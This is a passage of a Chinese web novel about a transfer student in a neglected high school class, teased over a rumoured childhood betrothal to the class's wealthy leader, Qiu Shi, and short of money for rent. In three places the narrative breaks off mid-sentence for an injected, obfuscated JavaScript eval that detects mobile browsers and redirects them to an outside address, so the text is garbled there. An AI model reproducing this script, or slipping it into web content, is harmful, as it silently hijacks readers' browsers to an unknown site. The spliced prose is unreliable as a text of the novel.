“3班教室在顶楼,班长叫朱旭阳,忘了就随便吼一声——班长!” “应你的那个胖子就是!” 原晢点点头,再次谢过老师后就离开了办公区。 说不清到底是破败还是松弛,这楼里楼外连个高考横幅都没有,怎么所谓的省重点比他认知里的野鸡中学还要烂上几成? 原晢叹息一声,迎着头顶的百年古树九十度仰望,还没定位到3班教室就被刺目的夕阳闪瞎了狗眼。 “……” 讨厌南方没完没了的太阳! 为了最大程度发挥老校区的土地资源,留守学子们日常考试去实验楼,背书去文体楼,罚站去体育馆,势必让毕业班用不到的所有建筑都能各司其职,物善其用。 由于人烟过于稀少,三个班决定在教学楼各占一层,相互独立,互不干扰。 而3班教室抓阄抓到了最高层——距离底部教师办公区最远的地方,实属荣幸。 正值下午放学时段,离晚自习还有一段时间,班里众人约球的约球,约饭的约饭,属于十七八岁的青春活力终于慢慢被唤了出来。 “请问,班长是哪位?” 原晢刚从教室后门探出头,喧闹嘈杂的环境顿时消了音。他果然忘记了班长叫什么名儿,只能试用侯业给的有效办法。 “侯老师找。”他补充。 “啊哈!你就是半路冒出来的学霸吧!” 一个微胖寸头男从人堆里冒了出来,在众人的注视下郑重其事地递给原晢几张A4纸——神金院生存指南。 原晢:“?” 这附近最大的商圈在城市中轴线的另一端,与老校区的直线距离并不远,但两点之间缺少人行天桥红绿灯,实际距离自然翻了倍,外送费也跟着水涨船高。 因此穷苦学子们更喜欢就近觅食。 老校区后门外有条申经街,并不宽敞的通道容纳着各色小吃宵夜店,是这片旧改区仅剩人气地。 而街对面就是市一医院,蹭食堂的芸芸众生每天都要在“干净难吃忍者无敌”和“不干不净吃了没病”之间反复横跳,然后带着淡淡的疯感继续回校苦读——“神金”就这样成了相互之间的不二爱称。 升高三后,这种被社会遗弃的痛苦就变得更具象了。 连以往夜夜爆单的烧烤铺都换了老板,大厨水准一降再降,从熙熙攘攘到门可罗雀,这条街真没几家像样的食店了。 一想到未来很可能只能吃到带有消毒水味的糟糠,众人的精神状态自然也愈发微妙。 “我是朱旭阳,3班班长,团支书,学委,六科代表,平时公务过于繁忙……” 朱旭阳简介还没念完,他的人肉话筒就被好事群众打断了:“反正没人干的他都干了!” “……”朱旭阳清咳几声,而后挺着得意的小胸脯,眼神迅速往某处一瞟:“闭嘴,再说扣你纪律分。” 不明群众:“哎哟,真的好怕怕哟!” 朱旭阳:“……给点面子行不行?” 不明群众:“行,行,朱总请发话!” “咳,咳咳……反正,有啥事儿找不着人麻烦线上留言,日常需要的基本信息都印这上面了,这一亩三分地,也没什么特别的,两步路就能走熟。” 朱旭阳继续像模像样地捏着官腔,不忘用一双小眼睛认真审视起这位莫名其妙的新同学,低头问道:“本人就是有点好奇,附近衣食住行吃喝玩乐要啥没啥的,三年都没进过人,您到底为啥要转来咱这破落地?” 原晢收下这份黑白贺礼,苦笑道:“没钱,这里便宜。” 他很诚实。 “这样啊?”但朱旭阳似乎不太相信。 “谢谢了。”原晢示意手里的生存指南。 “不客气不客气,做了多少年了都没人用,你还是第一个呢。”朱旭阳说。 于是原晢又礼貌谢了一次。 可他道过谢后眼前人还是迟迟不肯迈步,似乎还有话要说。 原晢提醒:“侯老师找你。” “哦,马上去,那个,那什么……你的‘晢’字,是日字底?”朱旭阳看着手机里的备注信息,小心翼翼抛出自己的推论:“这个字好像不太常见,一般不都是哲学的哲嘛,难道……也是在街心花园取的?!” 原某假装不知道的样子:“什么?” 老校区仅有的百名学生几乎都是年级垫底的沫子,而这当中有极大部分是周边单位子弟,互相熟悉得裤衩子都不剩的那种。 因为住得近没必要搬去郊区住校,中午吃个食堂晚上还有机会回家蹭口热乎饭,他们谁也不愿意离开这块风水宝地,当个山小王也比下山挨打强。 朱旭阳名字里一堆“日”,估计家中长辈就是当初被江湖骗子盯上的遛弯群体之一,官腔还打得贼重,也不知道亲爹在哪个局任职…… 虽然原晢的大名也是在这片衰地取的,但他还没学会走路就和爹妈一起搬到了北方生活,除了逢年过节回来看望独自住在康养中心的外婆,少年和这个城市并没有过多的交集。 更别提什么浓厚的故土之情了。 鉴于男人的面子值千金,原晢可不想被这群未曾谋面的“熟人”挖出什么娃娃亲事迹,当年街头取名被骗一大笔钱就够丢人了……所以他选择闭口不谈。 还好那个姓裘的不在场。 原晢正准备否认,刚被朱旭阳压下的那个声音就突然从教室另一头蹿了出来:“啊哈!我奶和我说过!当初好多人抢那个‘晢’字呢,还有咱裘爷的‘时’,听说这两张符的运势最好,价格老贵了,我家没钱只能拿剩的,所以我叫孙晨!” 原晢稍显呆滞:“……”谢谢,请你不要再说了。 “嘿嘿嘿,新同学好,我叫张旦旦。” “我是李明。” “还有楼下的蒋暖,王早星,新校区那边也有……总之我们这届好几个呢!”朱旭阳数着指头,不忘在班里寻找某个目标。 “赵晨。”那个目标答。 原晢:“嗯?” 这俩怎么重复了? 孙晨直接一道大吼:“他偷我的字!” 赵晨无奈地耸了一下肩,悠悠开口:“……我爹说没必要开光,都是江湖骗子罢了,新华字典上的随便用。” 花了钱的孙某据理力争:“你这态度就不对了,有时候还真不能不信邪,要对道术怀有敬畏之心!” “敬畏之心!” “敬畏之心懂不懂!!!” 赵晨不免给他翻了个白眼:“傻逼才付那个钱。” 一窝子傻逼继承人:“……” “你敢对裘爷不敬?我要举报!举报!我要举报你!”孙晨拿着教师用尺就从讲台上冲了下来,嘴角念着誓死守护某种精神文明把人打到了角落里。 朱旭阳见怪不怪地清清嗓,继续行使他被赋予的神圣职责:“咳咳,差不多也就这些了。那个,学霸请多多指教,以后咱的考试作业啥的都靠您了哈!侯爷回校了,我先去见侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207337|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷,886~旦姐,有劳招待一下新同学!” “嗯,滚吧。” 张旦旦放下手里的游戏,把原晢领到了靠近走廊的高风险位,环视了一圈说:“学霸应该不怕老师吧,这边的空位随便选,都是已经毙命的叛徒,桌椅还没来得及处理,挑干净的用就行。” 孙晨也一路被赵晨反杀打了过来,抓着他这个新同学当挡箭牌,不忘好心提醒:“咱班有两位爷,一位是侯爷,掌管围墙内的生杀大权,但记得见面要喊侯老师!” “侯爷平时总外出开会,不怎么有空管班,大事小事找朱总管就行。”赵晨默契补充道。 “嗯嗯,另一位是裘爷,这位是真的爷,掌管生杀大权前的生杀大权,出校门的地方都归裘爷管!”讲到关键点,孙晨立刻举手休战,指着里侧区域好心告知原晢:“那边是裘爷的位置,平时就别过去了,裘爷有洁癖,最讨厌别人占他位了,我一般都离三尺远!” “三尺!”孙晨比划着。 原晢:“……”真事儿逼。 孙晨赶紧拉着他小声解释:“裘爷可是咱的大财神,想要在这块地吃好喝好玩好,那裘爷可真得罪不起……嘘,别说是我说的,咱裘爷喜欢低调,低调。” 原晢:“……哦。” 大财神是什么鬼…… 每天都会随机发钱吗…… 他家以前也有钱,怎么就没见过那么多狗腿…… 哦,因为他从不发钱…… 想起一个月前亲眼所见的沿街救济景象,原晢不免在心里翻了个白眼……真特么现世财神爷啊! 班内忽然发出一阵骚动。 “欢迎裘爷回归!哦豁!哦豁——” 不知道谁吼了几声,原晢跟着回头,那个把婚礼进行曲当闹铃的瘟神正迎着夕阳缓缓朝里侧位置靠近。 老校区并不要求在校生统一穿校服,但班里的同学似乎特别守校规,又像是某种默契的身份凭证。而那个姓裘的依旧在短袖外再搭了一件私服长袖衫,在清清淡淡的人堆里特别显眼。 他身后的小弟提着几袋子冰棍,似乎是输掉打赌的补偿,狗腿子们立刻嗅着鼻头围了过去。 这人真不热么?原晢想着。 “哦对,兄弟你有对象了吗,咱班除了旦姐,没几个妹子了,总共就六,五……那谁也转去新校区了吗?”孙晨啃着新鲜到手的冰棍又绕了回来。 “嗯,就剩仨,没了。”张旦旦笑着说,“但可以交男朋友。” “……”原晢随即环顾四周,现场除了眼前正打着游戏的短发飒女子……还真一个姑娘都没有? “别班情况也差不多,妹子们看拿不下我们裘爷都转走了,新校区那边能住校,饭堂也好吃,待遇比咱留守的好多了。哎,以前每晚放学路边都堵车,现在倒是清净得很……靠!老赵你真是越来越狗了!” 孙晨嘴里的冰都还没咽下去,只好憋着一口气揉屁股,随手操起脚边椅子赶忙追人:“死狗!给老子站住!” “站住!!!” 张旦旦不免啧了一声,连连叹息道:“瞧瞧,瞧瞧,这变味的兄弟情。” 原晢顺着追逐声望去,两个晨已经嗷嗷叫着打到窗台上了。 赵晨身形高大,优势显著,没两下就把个头小巧的孙晨像孙子一样按在了地上。 空间里满是炸毛小孙的鬼哭狼嚎。 “嗷嗷嗷嗷嗷——” “快给老子爬!起开!” “草!痒啊!痒哈哈哈哈哈!” 孙晨的叫骂还没进行几个回合,教室里突然杀进一阵大吼:“赵孙晨!你俩给我安分点,那嗓门,隔了几层楼都能听到,怪不得楼下两个班总投诉!” 孙晨怒怼:“老子他妈叫孙赵晨!” 全局占上风的赵晨顺势一勾姓孙的下巴,调笑道:“就剩这小嘴能动。” 孙晨狂吠:“脏手!给老子拿开!拿开!!!” “……”刚回班就看大戏的朱旭阳:“……亲一个吧,你俩。” “啊呸!”孙晨一边反抗一边逼逼朱旭阳:“你别整天楼下楼下的,不就是看上楼下妹子了吗,脸都圆成这样了,先练练吧,不然谁还要你,看老子无敌旋风踢踢踢——嗷!” 朱旭阳突然娇羞:“裘爷不谈,我怎么好意思呀。” 孙晨捂着遁地的玉足鄙夷道:“屁啦,咱裘爷可是有婚约的人,谁和你一般见识。” 朱旭阳一惊:“哇靠?” 原晢也跟着一惊:“!” 触碰关键词,正在擦桌的他不得不瞬时僵住。 “啥婚约?”朱旭阳满脸震惊,直接抛下新同学爬回了还在发冰棍的财神爷身边:“裘爷啥婚约?啥婚约啊?我怎么不知道!” “孤陋寡闻了吧哈哈!哎……放手放手,今晚烧烤我请好吧,我请,我请!” 孙晨一脚摆脱了赵晨,终于是拍拍屁股从地上站了起来,直接当起了知情代言人:“我奶和我说的,当年我们家还给了小红包呢,是吧裘爷,还作数的吧,这都成年了,准备啥时候请酒哇?” 一群啃冰棍的影子又立刻乌压压围了过去。 “卧槽!我想起来了!当年不就闹过一次吗,高一刚入学的时候,有人冒充裘爷对象来着!” “牛逼啊!我也记得!我还以为那只是裘爷拒绝姑娘的借口!” “我也!但这样真的好吗,裘爷你愿意吗?” “对啊,都什么年代了,指腹为婚不会违背自由意志什么的?” “裘爷啊,您这守身如玉十八载,就不怕那个娃娃亲对象和别人跑了?那多亏啊!” “怕啥啊,跑得了和尚跑不了庙,这些都是大师算过的,有些邪还真不能不信!” “但不是说小时候就分开了吗,这么久不见,万一对方长残了怎么办……” 呆若木鸡的原晢:“……” 完了。 完了…… 除非那个姓裘的有第二桩娃娃亲,否则他要怎么办? 怎么办? 怎么办! 什么狗屁娃娃亲! 什么指腹为婚自由意志! 靠!他才刚搬过来啊!怎么能出这种糗事啊! 那个姓裘的怎么回事!怎么一句话都不说!好歹反驳一句啊! 可别把他大名念出来了! 他以后在班里要怎么做人!!! 原晢越听越心虚,才刚微微偏过头,就撞上了他“对象”似笑非笑的嘴脸。 那个姓裘的说:“不怕,他回来了。” 4. 招租 那个姓裘的瘟神肯定在耍他,原晢知道。 这梁子到底是什么时候结下的? 因为搬来第一晚就捣坏了201门前的生日蛋糕?因为隔音不好频频打断楼下的浴霸嗨歌雅兴?还是因为昨晚睡熟之后…… 某些零碎片段一闪而过,原晢连人带魂整个抖了一下。 他记得,他明明记得,自己是贴着床沿睡的…… 毕竟才流了几滴阳刚热泪,原晢并不想被谁看穿那点破心事,进屋后和枕边人全程无交流,就这么隔着白色玩偶猫背对背睡下了。 明明是背对背睡下的…… 背对背睡下的…… 然后呢? 然后半夜冷空调力道太足,他没忍住打了个喷嚏。 对,打了个喷嚏。 再然后,他就……就被人抱过去了? 抱过去了…… 抱过去了?! 原晢个人都是懵的,甚至忘了要联系消杀公司除虫,以至于大半夜的只能和几只依旧匍匐在地的大强面面相觑。 “他不会真看上我了吧?”原晢问脚下的大强。 大强摇了摇触须,不置可否。 原晢按亲妈的提醒给大强翻了个身,继续拿出手机监视还在热烈探讨娃娃亲事迹的“日天日地”群聊,不忘点击某个积极分子的头像截取最新情报。 又是一大段长语音。 孙晨:“那当然!小时候我被爹妈打得无家可归,都是被裘爷领到杨老师那里才能吃上一口热乎饭,感激之情无以言表!” 孙晨:“我就是裘爷最狗的狗腿!!!” 孙晨:“其实裘爷很好相处的,大家都是遵纪守法的良好公民,人不犯我我不犯人,这里没人会为难新同学的,你放心吧!” 孙晨:“跟着裘爷有肉吃!” 孙晨:“但学霸,我先提前和你说,你记一下哈——裘爷特讨厌过节,也从来不过生日,每年那跨洋蛋糕都是哥几个帮忙消化的,好吃爆了!所以咱没事不要去烦裘爷,掐点祝福这种烂事就免了哈,又不是小姑娘,平时等着听吩咐就行,包你有饭吃!” 孙晨:“还有,还有,绝对不能想着动手动脚!” 孙晨:“裘爷最讨厌变态了,当年隔壁职高有个男变态对咱裘爷穷追不舍,每天晚自习都堵在路口等人,简直屡禁不止,恶心透了……咦惹,我都无法回忆……最后直接被裘爷摁着暴打一顿!那场面!就一个字!爽!!!” 孙晨:“所以我猜,裘爷应该有点恐同。” 孙晨:“虽然他没说。” 孙晨:“后来那群野鸡搬走了,这附近干净多了,不然哥几个每天出门还要带个棍,别提多麻烦……还有,偷偷告诉你哦,就因为总被野鸡男骚扰,咱裘爷那小肌肉练的,真是……嘿嘿嘿,裘爷对象真是让人羡慕死啊!” 孙晨:“我发誓!我对裘爷绝对没有任何非分之想!爱美之心人皆有之嘿嘿嘿……” 孙晨还在不断说话中,可原晢扫大强的扫帚都快握不稳了。 这怎么……和他印象中的瘟神不太一样? 当他拿着门店仅剩的咸口蛋糕上门致歉的时候,那个姓裘的不是吃得挺欢的吗,光是许愿环节就折腾了半小时,生日歌来回放了一千遍,根本不见他腻啊? 甚至才收50块就让人抱了一整晚? 难道……那个姓裘的还真是…… 原晢插空给孙晨回了句文字:你见过那位传闻中的娃娃亲对象么? 孙晨:“这我还真没见过!” 孙晨:“下午裘爷也没说那姑娘到底叫啥,只说最近回来了,估计马上就能见着了吧!哎哟喂,想想还挺激动的!” 孙晨:“我估摸着小时候大家还一起玩过呢!” 孙晨:“只是那时候年纪小,不记事儿,估计见过也不记得,而且我奶八卦还没说完就升天了……尽管如此!我奶依旧活在我心里!我奶就是世界上最好的奶奶!我和你说……” “叮咚——叮咚——” 门铃响了。 “砰!” 原晢被这深夜的门铃声吓得双手一松,扫帚直接和成堆的大强尸体撞了个满怀。 “谁……谁?”原晢瞅着猫眼问。 门外站着位中年妇女,还带着俩小孩,提着嗓音说:“小原在家吗?我是你姨,想来看看房子。” 原晢看了眼手机日期,8月30日,星期二。 老房子的过户手续该是办完了。 这人估计是来收租的。 “现在方便吗?”对方又问。 “哦,可以。” 原晢刚松开门锁,这位陌生妇女就带着两个大吼大叫的亢奋小孩闯进屋,主人家般视察着里里外外的过期布局,甚至毫不见外地躺倒在沙发上。 “不好意思啊,家里两个小的硬是哭着闹着要来看看,拗都拗不过,真是打扰了。”女人说。 原晢面无表情:“……” 您真客气。 “老房子保护得不错啊,地板墙壁都很新,如果赶不上拆迁还可以继续住,不亏不亏。”女人再次拿出手机录像,不忘指着地板上的垃圾说:“就是卫生得注意点,怎么这么多蟑螂,万一在家里搭窝就麻烦了,吓到孩子怎么办?” 原晢依旧面无表情:“……” 您家孩子都直接上手了,吓不着。 “别碰,喷过药的,中毒我可没钱赔。”原晢顺手把两个闹腾小孩提回来,继续拿扫帚清理昨夜遗留的毒气战场。 一听到少年哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207338|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穷,女人倒是多了不少心眼,硬是把到嘴边的寒暄咽了下去,拉住两个宝贝儿子赶紧进入正题:“那个,小原啊,姨这次来还有件正事,之前也和你们家说过了,毕竟这房子也转过来了……” “应该的。”原晢点了一下头,继续扫地。 “那就好那就好,亲姐妹也要明算帐,咱就敞开天窗说亮话啊。”女人脸上的紧张感顿时轻松不少,立刻拿出计算器一顿扒拉:“这附近都是重点校区,陪读家长多,价位自然也比其他地方高点,供不应求嘛,我看别家的三房都租四五千,咱们两家虽然远了点,但远亲也是亲,就按每月三千五来算好了,行不?” 原晢两眼一黑:您别太离谱,夏总给的预算只能是“2”开头! “今天30号,也月底了,都是一家人,最后这两天姨也不计较了啊,咱们就从下个月开始算,押二付三,钱直接转卡里就行,姨给你写个号哈。” 女人兴致十足地安排好了一切,又围着老房子拍了不少照片,终于是带着亢奋过头早就困倦发脾气的两个小孩走了。 只剩原晢和一袋子大强尸体相顾无言。 “……” 他为什么就说不出一句“不行”?讨价还价不会啊?怎么就这样让人随便拿捏了? 周边还有个屁学校,附近的中小学全在市郊建了新校区,鸟不拉屎的破地还有脸喊这个价? 烦死了! 原晢正愁着要不要和亲妈汇报战败结果,丢在桌上的手机却适时地响了一声。是楼下瘟神的消息。 裘时:家里有人? 哦,两个小孩的噪音肯定震到楼下去了。 原晢:已经滚了,如有打扰敬请谅解。 对面没再来新消息。 原晢还有一堆脏活累活要干,也没时间管楼下又要闹什么妖,把手机往角落一丢就继续拖地去了。 等他把大强尸体正式打包,再拿消毒水走了几遍地板后,大功告成的恶气还没喘出来,角落里的手机又适时掐着点响了一声。 原晢:“……” 那个姓裘的肯定在监视他! 原晢擦着手点亮屏幕,消息果然来自楼下201。 是一张房屋出租海报。 ——————招租—————— 包水电!包暖床!包陪睡! 不要999!不要888!不要666! 只要50一天!50一天!!50一天!!! 绝佳地段!绝佳床伴!绝佳性价比! 包月一折起,哥哥快来呀~(心) ——————招租—————— 看着海报中紧紧相拥的两个简笔小人,原晢头顶缓慢地路过一串大句号。 靠!这骚货恐个屁同!!! 5. 99 第二天放学,原晢直奔申经街上面积最大的店铺,那个名叫「99」的土味烧烤摊。 穷,可以想办法挣钱。 但小命一定要保住了。 命在,魂在,人才有机会花钱。 原晢知道,现在他的处境非常危险。 之前就因为心大爬上了某瘟神的床,还睡得比猪死,鬼知道一晚上到底发生了什么! 他要离那个姓裘的远一点! 原晢默念着铺面旁张贴多年的急聘广告,又不免低头看了看自己的白净小爪……这双手拿去穿串是不是太可惜了? 但没办法,谁让整条申经街萧瑟凄凉,只有眼前这家店需要低成本牛马。 还可以选择兼职,多劳多得型,特别适合他这种随时跑路的人。 他也已经成年了,有手有脚的,在这倾家荡产的紧要关头,怎么还好意思继续向亲妈伸手要钱呢……能攒一点算一点吧! 原晢边想边推门,一声铃铛响,店内的热浪瞬间将他淹没。 “欢迎光临!请问堂食还是打包?” 还没到饭点,烧烤铺内仅有的几名黑围裙大哥正手忙脚乱修着制冷机,听到有客人进门后又不得不从地上爬了起来,灰头土脸地带着标志性笑容迎客。 “呃……请问,你们还需要串串,穿,穿串工,吗?”原晢突然口吃,尴尬地指了指门外早已泛黄的招聘信息,声调也变得毫无底气。 “啊?”黑围裙大哥明显愣了一会儿,“啊!那是前老板贴的,但我们现在也缺人,要的要的,哎哟,我还愁着今年怎么一个勤工俭学的都没有!” 黑围裙大哥立刻从吧台处拿来纸笔,高兴地招呼眼前这个主动送上门的廉价劳动力:“不好意思啊,今个儿空调坏了,闷着呢。你先留个姓名电话,我和新老板报备一下,他外出考察了,周五才回来,到时候一定第一时间通知你上班!” 原晢听得一头雾水:“考……考察?” 开个食店还要外出考察?这烧烤铺这么金贵呢? “那是!不然在这鸟不拉屎的地方咱怎么冲销量第一,怎么做大做强,当然要讲究点方式方法啊!”黑围裙大哥神情激动,一提到钱就来劲儿:“店里目前缺人也缺货,就是不缺钱,放心吧,新老板比之前那位大方多了,不会亏待你的!” “谢谢,那什么,其实我从没串,穿,穿过,穿过串儿……”从未出过社会的原某开始自降身价。 “哎哟,没事儿,学两下就会了。你别看咱店小,平日里外卖单就成堆成堆地冒,更别提周末了,加台都要加到马路边,忙着呢!”黑围裙大哥和善说着,不忘开始调试设备,“附近学生吧?兼职也行,中午晚上有空就过来帮忙,按时薪结,还给你饭点管饱,够意思吧?” 原晢刚在纸上留好号码,抬头就发现一个摄像机突然对准自己,操控电脑端的黑围裙大哥正嘿嘿笑着向他解释:“老板交代了,新人进店要留痕,这也是大股东的要求。” “来,朝镜头笑一个!” “咱老板是个颜控,歪瓜裂枣的看都不看一眼,这白净小脸准能成!笑一个,笑一个,哎就这样,保持!” “咔——” 明明室内热得不行,原晢却总觉得脊背生凉,朝黑漆漆的镜头勉强笑了一下就快马加鞭离开了铺面。 谁家招工第一件事先拍遗照啊? 这不是什么贩卖人口中转地吧? 走走走!保命要紧!保命要紧! 他可不能因小失大…… 原晢一路小跑着离开申经街,直到路过街心花园才微微松了口气。 光天化日朗朗乾坤,可他怎么一点安全感都没有? 为什么呢? 看着眼前陌生又熟悉的景象,原晢突然想起——那年夏老师摔倒住院的时候,他好像就是在这附近迷了路。 事情发生得很突然。 夏老师已经被救护车送走了,大人们正手忙脚乱收拾着满屋狼藉,放他一个人在房间里玩玩具。 可等原晢再一转头,整个屋子却突然安静下来,外面连半个人影都没有。 他被遗忘了。 那段时间,原宏涛和夏臻一直在为他的上学地而争吵。北方的厂房刚刚建成,他们两个人都忙得不可开交,原宏涛不想把孩子带在身边当累赘,夏臻却坚持不让儿子成为孤寡儿童。 原晢不知道他们到底谁吵赢了,也不知道这次回外婆家到底是不是长住。 他只知道自己被落下了。 五岁的小身板着急忙慌地跑下楼,一把鼻涕一把泪哭喊着,熟悉的车辆却一脚油门扬长而去,直接消失在拐角尽头。 原晢一路踉跄往前走,满肚子委屈模糊了视线,根本记不清自己拐了几个弯。 等肚皮终于叫起来的时候,原晢才想起被大人们放在烤箱里的喷香蛋糕,可他再也找不到回家的路了。 那时还没到放学点,街上根本没有遛弯的老人小孩,只有不怀好意到处盯梢的摩的司机。 原晢害怕极了,像只无头苍蝇一样乱窜,整个人饿得眼冒金星,绕来绕去也绕不出街心花园,最后累得一屁股坐到地上放声大哭。 大人们全都消失不见了! 他被全世界抛弃了! 他要完蛋了! 肚子饿过了头,小脑瓜子里的警报器自然也歇了业,被拐概率瞬间大幅飙升。 果然,就几分钟的时间,原晢二话不说就跟着眼前凭空出现的棒棒糖走了。 这个手里一堆棒棒糖的家伙比他高出半个头,两条胳膊都被夕阳烤得黝黑,一看就是经常在街面上混的主。 重点是,这个人还特别富有——他兜里的糖果和百元大钞满到要溢出来了! 简直是宇宙级大富翁! 原晢非常羡慕。 他的零花钱都是以五毛为单位的,这辈子就没见过那么多百元大钞,直接被现场秒了。 原晢和大富翁解释了自己被“遗弃”的经过,没钱吃饭的他想要被大富翁纳入麾下,可一激动眼泪鼻涕全冒出来了,连自我介绍都说不清楚。 于是原晢只能紧跟在大富翁身后巡街踩点。 教职工宿舍是独立在街边的几栋旧楼,没有任何显眼门牌,原晢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207339|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不知道外婆家叫什么小区,也搞不清大富翁到底看不看得上自己,内心极度无助慌张。他一路上都谨小慎微,牢记路标,准备遇到危险随时撤退。 可大富翁手上还有一件勾人利器——刚刚在玩具店买来的乘法表。 大富翁说了,只要答对上面的问题就有糖吃。 原晢心里乐开了花。 因为夏老师是数学老教师的缘故,他早就把乘法表背熟了。虽然是被迫的。 但此刻,他也终于明白了长辈们常常提及的所谓“读书的意义”。 真是太有意义了! 原晢答了一路,吃了一路,凭借聪明才智成功获得满满一口袋的糖果,完全忘了自己为什么哭,只是一路跟在大富翁身后,大富翁去哪里,他就去哪里,大富翁说什么,他就应什么,脑浆都被糖果挤爆了。 两个小身影就这样找了一个又一个社区,天色都暗了才终于找到目的地。 单元楼前聚集了不少人,巡警的车灯在夜色中变得极为晃眼,原晢被瞬间冲过来的大人团团围住,根本插不上话。 等他再回头时,大富翁已经离开了。 原晢连一句谢谢都没来得及说。 也忘了问对方叫什么名字。 好在明天还可以见面,他们约好了。原晢想着。 这种土豪朋友可不能错过啊! 不能错过啊!!! 可惜,第二天一早他就被爹妈打包运回了北方,半秒都没耽搁。 原晢哭了,闹了,反抗了。没屁用。 因为夏老师住院了,这里没人能管他的死活了。 他不能继续留在外婆家了。 原晢在单元楼下的石狮子口中放了告别字条,有点潦草,也有点像垃圾。不知道那位大富翁能不能找到。 找不到就算了。 回忆一般都是美好的,但这份回忆有缺陷。 比如,那位大富翁和他说0很牛逼,0是王炸,0天下无敌。 他信了。 他对此深信不疑,并意志坚定地执行了好多年。 还逢人就说。 草。 特么的!小小年纪就会下套,还举一反三到处诓人,那个大富翁肯定不是什么好东西! 原晢无奈叹笑。 眼前的十字路口依旧如初,那年根本跑不出的街心花园也不过小小一隅。 他长大了。 只不过,这张脸确实变化不大。 望着倒映在广告立牌上的光影,原晢揉了揉眼,不免想起自己从小到大的境遇—— “我们原宝这小脸蛋儿呀,真是比姑娘家还水灵,来,妈妈亲亲!” “不要。” “原宝不要害羞嘛!mua!” “……” 夏老师一直都希望夏臻生的是女儿,因为儿子很容易长成原宏涛那样的小白脸。 他就是那个小白脸。 还怎么样都够不着180分界线,在北方特别容易被欺负。 来到南方也一样。 就差那么一厘米的原晢:“……” 6. 压迫 娃娃亲的乐子就这样在班里被连续提及了好些天,以孙晨为首的一群“日天日地”成员甚至给未来嫂子安排了厚厚一沓「神金院重逢指南」,其中着重描述了他们裘爷成长路上的光辉印记,狗腿含量十足。 没见过什么大场面的原某被吓得不轻,梦里都是楼下瘟神搂着他官宣的场景,整个人肉眼可见憔悴了不少。 明明都是玩笑话,原晢也不知道自己在抗拒什么。 可能是因为现在太穷了? 因为太穷了,所以整个人才毫无底气——如果那个姓裘的真要重金娶他,那他到底答不答应? 一想到家里水深火热的债务问题,想到自己即将连房租都快凑不齐,想到夏总还住在破败的厂房里……少年就忍不住面对青天来句“草”。 凭什么是娶? 他娶个屁! 原晢每天都早出晚归躲着楼下,在教室也保持着对角距离,生怕一个不留神,自己的那点动摇之心就被对方顺利捕捉了。 原晢也曾想过,是不是他自作多情对号入座了? 娃娃亲这种封建糟粕,也未必只能有一桩,何况他俩这情况纯属算卦老头技艺不精,竟然能出这么大的差错? 可既然出了差错,裘家长辈肯定会请大师重算一卦,自然就能把前一个错误纠正了。 他就是那个错误。他肯定被纠正了。 原晢认真思考着。 没错,就是这样。 当年想和裘家攀亲的人那么多,那个姓裘的怎么可能只有他一个备胎? 不是说还有人冒充来着吗? 瘟神肯定有很多备胎。 可是!可是!每次狗腿小孙在班里招呼众人谈及这个话题的时候,那个姓裘的眼神都直接往他身上瞟!目不斜视!赤裸锁定!他根本跑不掉! 该死! 那个烧烤铺更是一点消息都没有,把他唯一能想到的赚钱渠道都堵死了! 不是说周五吗!不是说缺人吗! 现在周五都快过完了!!! “开学考的成绩都出来了,真是给了老师一个大惊喜啊,大排名年级前十,在这边妥妥的第一了,不错不错!周末回家好好放松一下,前面这些尖子生的分差都很小,不要给自己太大压力,还有大半年时间,按着习惯的节奏走,保持好状态……原晢,原晢?” 持续发呆的原某:“嗯?” “最近是不是没休息好啊?”侯业不禁皱眉,关切道:“你妈妈前些日子还联系过学校,生怕这边课程太紧,把你给压垮咯。” “没,没有。”原晢尴尬地摇了摇头。他只是承受了不该承受的封建压迫。 “老师也知道你过去一直在国际学校念书,可能不太习惯这种上课上到大半夜的教学模式,以后回家早点休息,千万不要熬大夜,目前这成绩很厉害了,只要保持住,什么学校都能报。” “放轻松,不要压力太大。” “如果晚自习想提前离校就和老师说一声,直接溜出去就行。”侯业乐呵着,指了指办公桌角落的一堆条子说:“假条管够哈。” “谢……谢谢老师。”原晢应着声,目光却不自觉被侯业身后的一抹亮色吸引。 “侯老师,门口有人找。”原晢提醒。 “放轻松啊,不要给自己太大压力。” 侯业重复着,一回头就看到个打扮新潮的黄毛笑盈盈地立在门框边,挤眉弄眼,搔首弄姿……侯业直接来了个瞬间大变脸:“你怎么来了!” “到晚饭点啦侯老师,歇息歇息,来,我伺候您。” 黄毛给原晢使了个眼色,欠身挤到二人之间,慷慨就义般直接往枪口上撞:“吃!饭!啦!” 